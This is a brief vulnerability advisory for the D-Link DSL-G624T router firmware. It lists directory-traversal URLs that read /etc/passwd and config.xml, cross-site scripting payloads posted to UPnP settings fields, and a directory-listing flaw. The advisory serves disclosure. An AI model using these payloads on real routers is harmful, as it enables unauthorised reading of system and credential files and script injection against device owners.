D-Link DSL-G624T ADSL Router is vulnerable to several securities.

Directory transversal
http://router/cgi-bin/webcm?getpage=/./././././././etc/passwd

http://router/cgi-bin/webcm?getpage=/./././././././etc/config.xml

Cross Site Scripting
Url:: http://router/cgi-bin/webcm
Method:: POST
Variable:: upnp%3Asettings%2Fstate
Value:: >"><ScRiPt%20%0a%0d>alert(20102006)%3B</ScRiPt>

Url:: http://router/cgi-bin/webcm
Method:: POST
Variable:: upnp%3Asettings%2Fconnection
Value:: >"><ScRiPt%20%0a%0d>alert(20102006)%3B</ScRiPt>

Url:: http://router/cgi-bin/webcm
Method:: POST
Variable:: upnp%3Asettings%2Fconnection
Value:: "+onmouseover="alert(20102006)


Directory listing
Is possible to list the /cgi-bin directory

Tested on D-Link DSL-G624T
Version: Firmware Version : V3.00B01T01.YA-C.20060616 

Discovered by:     

José Ramón Palanco: jose.palanco(at)eazel(dot).es

http://www.eazel.es

Original advisory:
http://www.eazel.es/advisory005-D-Link-DSL-G624T-directoy-transversal-xss-cross-site-scripting-directory-listing-vulnerabilities.html